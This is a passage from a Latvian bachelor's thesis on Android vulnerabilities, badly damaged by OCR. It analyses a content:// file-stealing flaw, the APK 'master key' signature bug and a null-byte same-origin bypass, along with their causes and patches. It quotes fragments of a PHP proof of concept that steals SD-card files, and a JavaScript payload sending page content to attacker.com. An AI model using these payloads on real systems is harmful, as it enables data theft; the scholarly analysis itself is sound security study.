Ar ievainojamibas palidzibu, ja telefona lietotajs apmekles speciali izgatavoto timekla
lapu, datorlauzis sanems iesp&ju pieklat datném uz atminas kartes. Precizak sakot, pieklat

datnes saturam un nosftit to uz savu serveri. Process notiek sekojosa veida [59]:
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e lietotajs apmekle lapu, kura satur PHP skriptu, kurs lejupielade lapas pirmkodu uz
atminas Kkarti;
e ta ka pazinojums par datnes lejupielade operétajsistéma Android ir griiti pamanams,
lietotajs neapzinas, ka kaut kas lejupieladgjas;
e JavaScript komanda atver parlikprogramma lapas lejupieladéto lapas kopiju no
telefona atminas kartes;
e ta ka talaka darbiba notiek ar lokalo datni, JavaScript darbosies bez pazinojuma un
dabus piekluvi datiem uz atminas kartes (varés lastt datnu saturu, parsitit to).
Kennons nopublicgja milka piem&ru un pazinoja, ka tada veida uzbrukumam ir
ierobezojumi. Pirmkart, biis iesp&jams pieklit tika datném uz atminas kartes. Mikis nedod
root tiesibas, tapéc Android arhitektiiras ipatnibas blokés piekluvi citiem komponentiem.
Otrkart, Jaundarim jazina precizais cel§ lidz datnei un janorada tas skripta [59], [60].
Neskatoties uz to, vairaki datnes veidi tiek saglabati nokluséta direktorija, kuru viegli uzzinat
(piem&ram, no timekla avotiem), un datnu nosaukumi ari var paklauties kadam noteikumam
(pieméram, iebuivétas kameras fotografiju nosaukumi).
Attela 3.15 [61] ir att€lots Kennona rakstitais pieméra mika dala (pilns satur parak

daudz koda rindas).
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// List of the files on the device that we want to upload To our Server

2 &£filenames = array("/proc/version”,"/sdcard/img.jpa™);

4 f/ Determine the Ffull URL of this script

5 ¢protocol = § SERVER["HITES"] == "on" ? "https" : "http";

& ¢secriprurl = fprotocol.”://".§ SERVER["HITF_HOST"].§ SERVER["SCRIPT NAME"]:

/f Btage 0: Display introduction text and a link to start the PoC.
Hfunetion stagel (Sscripturl) {

[T}

echo "<b>Android < 2.3.4</b><br>»Data Stealing Web Page<br>
1 <br>Click: <a href=\"§scripturl?stage=1\">Malicious Link</a>";
2 £
4 f/ Stage 1: Redirect to Stage 2 which will force a download of the

&

// HIML/JS payload, then a few seconds later redirect to the payload.
// We load the payload using a Content Provider so that the JavaScript

-

// i= executed in the context of the local device - this iz the wulnerability.
Hfunction stagel ($scripturl) {

[Y SO CSRY N S TR T TR o TR S Y o TN o N o Y o s TN o T o s TN % O % T 6 N % TR % T S T L B % T 8 )

9 echo "<body onload=%"setTimeout ('window.location=\'§scripturl?stage=2%"",1000);
i setTimeout ( "window. location=
1 ‘'content://com.android.htmlfileprovider/sdcard/download/poc.html% "', 5000) ;\">";
2 -
44 f/ 5tage 2: Download of pavload, the Android browser doesn't prompt
hE) ff for the download which iz another vulnerability. The pavload uses
46 S/ BJIRX calls to read file contents and encodes as Basegd, then
47 ff uploads to server (Stage 3).
& [Hfonetion stage? (Sscripturl, $filenames) {
SHE header ("Cache-Control: public™);
50 header ("Content-Description: File Transfer™):
51 header ("Content-Disposition: attachment; filename=pog.html™});
52 header {("Content-Type: text/html"):;
=3 header ("Content-Transfer-Encoding: binary"}):
54 -2

3.15. att. Kennona miika pirmkoda fragments
Mainiga $filename ir noraditas datnes (kopa ar direktorijiem), kuras vajag nozagt.

Funkcija stagel() att€lo parlikprogramma lejupieladéto, izmantojot funkciju stage2(), lapas

kodu no atminas kartes.

3.7.2. Problémas celoni

Iebtvéta operétajsistémas Android parlukprogramma atlauj attélot URL adreses, kuras
sakas ar ,,content://” [62]. Ar tadu adresi lietojumprogrammas veérsas pie kadas lokalas datnes
datiem [63].
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3.7.3. Problémas risinajumi

Oficiala atjaunojuma no Google parlikprogrammas iesp&ja darboties ar ,,content://”

adres€m tika atcelta. Vajadz&ja veikt vairakas mazas izmainas satvara funkcijas un

parlikprogrammas pirmkoda [62], [64]. Attéla 3.16 [65] var redz&t izdz€stu pirmkoda

fragmentu.

G25.
526,
G27.
B28.
629,

B538.

if (url != null && wrl.startsWith{"content:")) {

/* Append mimetype so webview knows how to display */
String mimeType = intent.resoclveType(getContentResolver());
if (mimeType != null}) {

url += """ + mimeType;

3.16. att. Izdzesta content:// adreses apstrade

Papildus, tika mainits piepemamo URL adreSu saraksts. Attéla 3.17 [65], [66] var

redzet, ka saraksts izskatijas pirms ievainojamibas likvideéSanas un péc.

3655. protected static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile(

"(?21)" + // switch on case insensitive matching
T // begin group for schema
"(2:http|https|file) :\\/\W" +

"|(?:inline|data|about|content|javascript):” +

3648. protected static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile(

"(#)" 4+ // switch on case insensitive matching

M+ // begin group for schema
"(?:http|https|file) WA +
"|(?:inline|data|about|javascript):” +
"+

CET DS

3.17. att. Pienemamais adreSu saraksts pirms (augsa) laboSanas un péc (leja)

Var redzet, ka no saraksta pazudis ,,content” (rindas 3659 augsa un 3652 leja). Ta

parlikprogramma vairs nepienems adreses, kuras saksies ar ,,content://”.

Pirms atjaunojums tika izdots, bija ieteikti divi pagaidu varianti. Pirmais variants:

atslégt JavaScript darbibu parlikprogramma. Otrais variants: izmantot parlikprogrammas no
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citiem izstradatajiem, jo tad varés atjaunot lietojumprogrammu uzreiz, kad parlika
izstradatajs sagatavos atjaunojumu, nevis gaidit, kamér Google un telefona izstradatajs

sagatavos lielu operétajsist€émas atjaunojumu [59].

3.8. levainojamiba ,,galvena atsléga”

Iesp&jams, visbistamaka ievainojamiba no aprakstitajiem nodala. Tika atklata ar
drosibas kompanijas Bluebox spekiem. Tika noskaidrots, ka ievainojamiba pastavéja veselus 4

gadus — no Android 1.6 1idz Android 4.2 [72], [73].

3.8.1. Problémas apraksts

Katras Android lietojumprogrammas instalators izskatas ka datne ar paplaSinajumu
,»-apk”, kura ir, respektivi, datnu kolekcija ZIP arhiva. Katrai APK ,kolekcijai” jabiit
elektroniski parakstitai, lai operétajsistéma varétu identific€t ta autoru un nodibinat attiecibas
starp lietojumprogrammam [74].

Arhiva  direktorija META-INF/  glabajas manifest datne ar nosaukumu
»~MANIFEST.MF”. Datne satur arhiva par§jo datnu kontrolsummas. Instal§jot jebkadu
lietojumprogrammu, operétajsistéma izgis no ZIP arhiva katru datni, salidzinasot ta
kontrolsummu ar ierakstito manifest datng. Ja kontrolsummas ir vienadas, tad instalacija
sekmigi turpingjas. Ja kontrolsummas atSkiras, tad tas nozime, ka sekojosa datne tika
modific€ta. Tada datne tiek uzskatita par neparakstito (bez sertifikata). Operétajsistema
aizliedz instalaciju un izdod kladu ,,[INSTALL_PARSE_FAILED_NO_SERTIFICATE]” [74].

Lai izlietot ievainojamibu noziedzniekam jaizgatavo APK datni, kura atrodas divas
datnes ar vienadu nosaukumu. Pirma datne — originala, bez jebkada launpratiga koda. Tam
jabut vecakam. Otra datne — modific€ta. Datorlauzis var pievienot taja jebkadu koda gabalu.
Instalgjot lietojumprogrammu, operétajsisttma parbauda vecako datni (bez modifikacijam),
bet instalé jaunako (ar modifikacijam, ar tadu pasu nosaukumu ka originals) [74].

Modificéta lietojumprogramma var veikt jebkadas darbibas telefona. Pieméram, parsutit

datus, veikt zvanus, sitit szinas. Noziedznieks pat var izstradat lietojumprogrammu ar

42



lieclakam piekluves atlaujam, neka kada cita lietotne no Google Play [74]. P&tnickiem no

Bluebox pat izdevas izmainit informaciju par sisteému telefona [72].

3.8.2. Problémas céloni

Problému radija kontrolsummu salidzinaSanas procesa realizacija. Sakuma visu datnu
kontrolsummas tika saglabati Map kolekcija paros <nosaukums (atsléga), kontrolsumma
(vertiba)>. Dati tiek ievietoti kolekcija ar metodes put() palidzibu [75]. Ta ka kolekcija var
saturét tikai unikalas atslégas, méginasot pielikt vértibu jau eksistgjosai atslégai, veca vértiba
tiek aizvietota uz jauno [76]. Izskatas, ka sakuma tiek rékinata kontrolsumma jaunakai
modificétai datnei un péc tam originalai, tapec, salidzinasot kontrolsummas, operétajsistéma

neizdod kltdu. Attela 3.18 [77] ir paradita kontrolsummu savaks$anas kltidaina realizacija.

351. for (int i = 8; i < numEntries; ++i) {

352. ZipEntry newEntry = new ZipEntry(hdrBuf, bufferedStream);
353, entries.put{newEntry.getName(), newEntry);

354,

3.18. att. Datnu kontrolsummu kliidaina saglabasana kolekcija

Mainigais numEntries — datpu daudzums arhiva, entries — map kolekcija,

newEntry.getName() — datnes nosaukums (atsléga) un newEntry — kontrolsumma (vértiba).

3.8.3. Problemas risinajumi

Oficiala atjaunojuma no Google tika izmainita kontrolsummu savaksanas realizacija.
Tagad, ja tiek m&ginats pievienot jau eksist€joSo atslégu, tiek izdota kluda par dublikata
eksistenci [78]. Attela 3.19 [78] var redz&t izlaboto koda fragmentu.
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351. for (int i = 8; i < numEntries; #++i) {

352. ZipEntry newEntry = new ZipEntry(hdrBuf, bufferedstream);

353. String entryName = newEntry.getMNams();

354, if (entries.put{entryMame, newEntry) != null) {

355, throw new ZipException("Duplicate entry name: " + entryName);
356. f

357.

3.19. att. Datpu kontrolsummu izlabota saglabasana kolekcija

354. rinda kopa ar jauna para pievienoSanu kolekcija notiek ari parbaude vai tada

atsléga jau eksisté kolekcija.

3.9.  Vienizcelsmes prasibas (Same origin policy) parkapums, izmantojot JavaScript

Drosibas pétnieks Rafais Balohs (Rafay Baloch) prezent&ja savu atklajumu 2014. gada
1. septembri. Divaini, ka sakuma tas palika nepamanits [67]. Pat Google péc sarakstiSanas ar
pétnieku, pazinoja, ka viet€jiem programmeétajiem neizdevas reproducét problému un kliadas
pazinojums tika slégts. Tomér, vélak 1émums bija mainits, jo Google darbinieki samekl&ja

problému [68].

3.9.1. Problémas apraksts

Vienizcelsmes prasiba ir viena no timekla droSibas pamatiem. Darbibas princips ir
sekojoss [69]:

e katrai timekla lapai ir 3 parametri, kuri noteic ta izcelsmi: doména vards, protokols
un porta numurs;

e ja divam timekla lapam visi tris parametri sakrit (respektivi, ja tas ir vienas
timeklvietnes lapas), tad ir atlauts izpildit scenarijus no vienas lapas otra;

e ja kaut viens parametrs nesakrit, tad lapas tiek izol€tas viena no otras, aizliedzot
otraja lapa pirmas lapas skriptu izpildi.

Operétajsisttmas Android parlikprogramma pastavéja ievainojamiba, kura atlava

ignorét vienizcelsmes prasibu ar JavaScript palidzibu.
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Ievainojamiba lauj noziedzniekam dabiit datus no jebkadas atveértas timekla lapas cita
loga vai ciln€ [68], papildus ir iesp&jams aizpildit formas, lasit ievadito informaciju un darit
visu, uz ko JavaScript ir sp&jigs [70]. Lai sasniegt v&léto, datorlauzim jaizgatavo jebkada
timekla vietne, apgadajot to ar ipasi rakstito JavaScript kodu [67], [70]. Attcla 3.20 [71] ir
paraditi Baloha rakstiti tada JS koda piemeri.

[E<iframe name="test" src="http://www.rhainfosec.comn">
< /fiframe>
<input type= value="test" onclick=

L ka2

"window.open('\ulD0DDjavascript:alert (document . domain) ",
"test')" >

1 oy N

[E{iframe name="test" src="http://www.rhainfosec.com">
</iframes
<input type= value="test" onclick=

5 W o

1C "window.open ('\ul000javascript:
11 alert (dooument ..body . innerdATHML) ", "test")" >

13 [E<iframe name="test" src="http://www.rhainfosec.com">
14 <fiframe>

<input type= value="test" onclick=
"window.open('\ulD0Djavascript:var i=new Image() :

1 i.sro="//attacker.com? ' +document .body. innerHTML ;

18 document . body.appendChild(i) ", "test")" >

3.20. att. Vienizcelsmes prasibas miika piemeri

Pirmais piem@rs parada lapas doména vardu no taga <iframe>, otrais piemérs parada
lapas taga <body> bérnus (ieks€jos tagus kopa ar atribiitiem un saturu) no taga <iframe>,
treSais piemérs aizstita taga <body> bérnus uz noziedznieka domajamu serveri. Protams,
realaja dzivé nepiecieSama informacija tiks nemta ne tikai no satvara, bet arl no cita
parlukprogrammas loga.

Redzams, ka JavaScript koda sakuma ir pierakstita simbolu virkne ,,\u0000”. Tas ir

nulles baits [67], kur$ atlauj izmantot ievainojamibu.

3.9.2. Problémas céloni

Rafais Balohs uzskata, ka problémas c€lonis ir nulles baita nepareiza apstrade URL
parsétaja. SastapSot nulles baitu, parsétajs uzskata, ka simbolu virkne beidzas, bet ta nav. Lidz

ar to, viss talakais skripts tiek izpildits [71].
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3.9.3. Problémas risinajumi

Probléma tika atrisinata operétajsisttmas atjaunojuma 4.4. leprieks€jas versijas paliek
ievainotas [71].
Telefonos ar vecam Android versijam ir ieteicams izmantot parlikprogrammas ar

dzing&ju citadu no WebKit [70] (piem&ram, Chrome vai Firefox).
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REZULTATI

Darba ietvaros tika izpétits termina ,,drosiba” etimologija (svesvalodas termina izcelsme
un latvieSu tulkojuma piegemsana), nozime sadzivé un datu apstrades joma. Tika doti padomi
telefona drosakai izmantoSanai.

Tika veikts operétajsistemas Android drosibas principu un testéSanas metozu apskats un
apraksts. Darba autors ieguva prieksstatu par operétajsistémas daudzslanu struktiiru, par slanu
mérkiem. Ir iegiitas zinasanas par Android lietojumprogrammu dro§ibas pamatiem, tadiem ka
lietotnu komponensu funkcijas, manifest datnes, atlauju pieskirSana un procesu izolacija
(,,application sandbox). 6 drosibas principi ir aprakstiti péc gramatas Android Application
Security Essentials autores Pragati Ogal Rai vizijas. Tika aprakstits CVE sistémas mérkis.

Papildus, darba ietvaros autors ir veicis 9 izveléto ievainojamibu c€lonu un risinajumu
apskatu. Izvele tika veikta pec sekojoSas metodikas: preses un korespondences studésana (lai
noskaidrotu problémas popularitati un izpétiSanas pakapi), problémas nopietnibas pakapes
noskaidros$ana péc CVE sistémas datiem.

Tika noskaidrots, ka ka kaité&juma veids dominé pakalpojumatteice (3 problémas) un
launpratiga koda izpilde (4 problémas). Tas sakrit ar vietnes CVE Details datiem. P&c vietné
ievietotas informacijas var saprast, ka visvairak problému izraisa pakalpojumatteici (13
problémas no registrétam 54 — 23%) vai lauj izpildit launpratigo kodu (12 problémas no
registrétam 54 — 21%) [89]. Protams, ne visas ievainojamibas ir ievietotas sist€mas registra,
bet, sprieZzot péc partneru skaita, to skaits ir niecigi mazs un krietni statistiku neizmainis.
Bakalaura darba pétijuma procents ir cits (DoS — 33%, koda izpilde — 44%), bet tada
neprecizitate var biit sakriSana maza skaita problému specifiskas izvéles de].

Darba autors ir noskaidrojis, ka visievainotakais operétajsisttmas komponents izradas
parlikprogrammas dzin&js WebKit. Ievainojamibas parlikprogramma bija problému c&lonis 5
no 9 (55%) apskatitam problémam.

lesp&jamoO izmainu piedavajums operétajsisttma drosibas uzlaboSanai ir aprakstits

secinajumu nodala.

47



SECINAJUMI

Ta ka parlukprogrammu dzingjam WebKit ir loti daudz Joti nopietnu ievainojamibu, ir
verts izmantot kadu citu dzingju, ko Google izdarja Android versija 4.4., samainot WebKit uz
Chromium [90]. Ta ka Android versijas 4.1 - 4.3. joprojam ir plasi izmantotas [91], liels
lietotaju procents nav pasargats no WebKit probléemam. Tapéc ir rekomendéts izmantot
parlikprogrammas no citiem izstradatajiem (piem&ram, Chrome vai FireFox), pat lietotajiem
ar Android 5.0, jo tresas personas produkcija atjaunojas biezak un atjaunojumus vai dabiit
uzreiz, kad tie ir pieejami. Iebuivéta Android parlikprogramma tiek atjaunota tikai kopa ar
visu operétajsisteému.

Telefona izstradatajiem ir rekomend&ts minimiz&t modifikacijas operétajsistéma, jo, pec
pieredzes, tas var novest pie nopietnam droSibas problémam, ka aprakstits 3. nodalas 7.
apaksnodala ,,Lietojumprogrammu instalacija bez lietotaja atlaujas”.

Biitu labi ievest lietojumprogrammu atlaujas parvaldes funkciju. Instal§jot lietotni tiek
vienreiz pieprasita piekluve operetajsisttmas komponentiem. Lietotajs vai nu piekritls dot
piekluvi, vai neinstalés lietojumprogrammu. Gadijuma, ja, pieméram, lukturiSa lietotne
pieprasa piekluvi kontaktiem, ta nedarbosies, kam@r piekluve nebiis atlauta. Cits jautajums,
kapéc instalét tadu lietotni, ja, acimredzami, ta ir launprogramma, kura izmantos kontaktus
noziedznieka noluikam. Ar atlaujas parvaldi lietotajs vares atslégt piekluvi kontaktiem, bet
lietderigs lukturis stradas.

,Application sandbox™ ir Joti lietderigs mehanisms. Tas lauj samazinat zudumus no
telefona uzlauSanas vairakos gadijumos (pieméram, ka 3. nodalas 2. un 3. apaksSnodala
aprakstitas problémas).

Kopuma, operétajsistémai Android ir diezgan laba arhitektiira un droSibas mehanismi,

kuri var nodrosinat vai samazinat zudumus no draudiem, kuru skaits palielinas katru gadu.
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